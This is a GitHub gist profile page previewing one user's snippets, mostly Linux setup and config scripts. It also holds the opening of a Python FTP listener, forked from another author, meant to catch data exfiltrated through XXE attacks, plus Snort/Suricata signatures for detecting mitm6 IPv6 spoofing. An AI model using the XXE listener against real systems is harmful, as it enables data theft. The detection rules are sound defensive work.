Skip to content

Instantly share code, notes, and snippets.

View Sy3Omda's full-sized avatar
🎯
Focusing

Emad Youssef Sy3Omda

🎯
Focusing
View GitHub Profile
#!/usr/bin/env bash
show_msg () {
echo -e '\e[32m'$1'\e[0m'
}
# Add Docker's official GPG key:
sudo apt-get update
sudo apt-get install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc
# set static IP in Ubuntu Server
network:
version: 2
renderer: networkd
ethernets:
ens33:
addresses:
- 192.168.1.100/24
routes:
- to: default
#!/usr/bin/env bash
show_msg () {
echo -e '\e[32m'$1'\e[0m'
}
show_msg "\n Adding docker keyring"
# Add Docker's official GPG key:
sudo apt-get update
sudo apt-get install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
@Sy3Omda
Sy3Omda / emojis.sh
Created June 8, 2023 08:23 — forked from BuonOmo/emojis.sh
A list of all UTF-8 emojis in bash or zsh
# Obtained with the code written in next file
emoji_grinning_face=😀
emoji_grinning_face_with_big_eyes=😃
emoji_grinning_face_with_smiling_eyes=😄
emoji_beaming_face_with_smiling_eyes=😁
emoji_grinning_squinting_face=😆
emoji_grinning_face_with_sweat=😅
emoji_rolling_on_the_floor_laughing=🤣
emoji_face_with_tears_of_joy=😂
emoji_slightly_smiling_face=🙂
@Sy3Omda
Sy3Omda / mitm6.rules
Created November 17, 2022 10:42 — forked from fox-srt/mitm6.rules
MITM6 IDS Signatures
# Snort & Suricata signatures for:
# https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6
alert udp fe80::/12 [546,547] -> fe80::/12 [546,547] (msg:"FOX-SRT - Policy - DHCPv6 advertise"; content:"|02|"; offset:48; depth:1; reference:url,blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/; threshold:type limit, track by_src, count 1, seconds 3600; classtype:policy-violation; sid:21002327; rev:2;)
alert udp ::/0 53 -> any any (msg:"FOX-SRT - Suspicious - WPAD DNS reponse over IPv6"; byte_test:1,&,0x7F,2; byte_test:2,>,0,6; content:"|00 04|wpad"; nocase; fast_pattern; threshold: type limit, track by_src, count 1, seconds 1800; reference:url,blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/; classtype:attempted-admin; priority:1; sid:21002330; rev:1;)
@Sy3Omda
Sy3Omda / bluetooth.sh
Created September 19, 2022 06:55
Fix bluetooth auto connect device and auto set speaker output
#!/usr/bin/env bash
# This to fix some issue realted to bluetooth auto connect avialable devices and auto set speaker to that device
# bluetoothctl devices # To get MAC of bluetooth devices.
echo "connect 00:00:00:00:00:00" | bluetoothctl >/dev/null # then Auto connect bluetooth
# you can put this in bash script and make cron job OR simply add it in bashrc || zshrc file to execute every start of terminal
for f in $(ls) ; do mv $f $[ $RANDOM % 5555 + 1111 ].jpeg ; done
@Sy3Omda
Sy3Omda / xxeftp.py
Created September 11, 2022 08:57 — forked from staaldraad/xxeftp.py
Python FTP server for XXE
#!/usr/env/python
from __future__ import print_function
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(('0.0.0.0',2121))
s.listen(1)
print('XXE-FTP listening ')
conn,addr = s.accept()
print('Connected by %s',addr)
@Sy3Omda
Sy3Omda / Set up GitHub push with SSH keys.md
Last active August 29, 2022 18:32 — forked from xirixiz/Set up GitHub push with SSH keys.md
Set up GitHub push with SSH keys

SSH keypair setup for GitHub (or GitHub/GitLab/BitBucket, etc, etc)

Create a repo.

Make sure there is at least one file in it (even just the README.md)

Generate a SSH key pair (private/public):

ssh-keygen -t rsa -C "your_email@example.com"
@Sy3Omda
Sy3Omda / fix_brightness.sh
Created August 17, 2022 16:40
fixing brightness control which is permission denied in awesome wm
#!/usr/bin/env bash
sudo tee /etc/udev/rules.d/backlight.rules << EOF > /dev/null
#ACTION=="add", SUBSYSTEM=="backlight", KERNEL=="<vendor>", RUN+="/bin/chgrp video /sys/class/backlight/%k/brightness"
#ACTION=="add", SUBSYSTEM=="backlight", KERNEL=="<vendor>", RUN+="/bin/chmod g+w /sys/class/backlight/%k/brightness"
#my vendor intel_backlight
ACTION=="add", SUBSYSTEM=="backlight", KERNEL=="intel_backlight", RUN+="/bin/chgrp video /sys/class/backlight/%k/brightness"
ACTION=="add", SUBSYSTEM=="backlight", KERNEL=="intel_backlight", RUN+="/bin/chmod g+w /sys/class/backlight/%k/brightness"
EOF
usermod -aG video $USER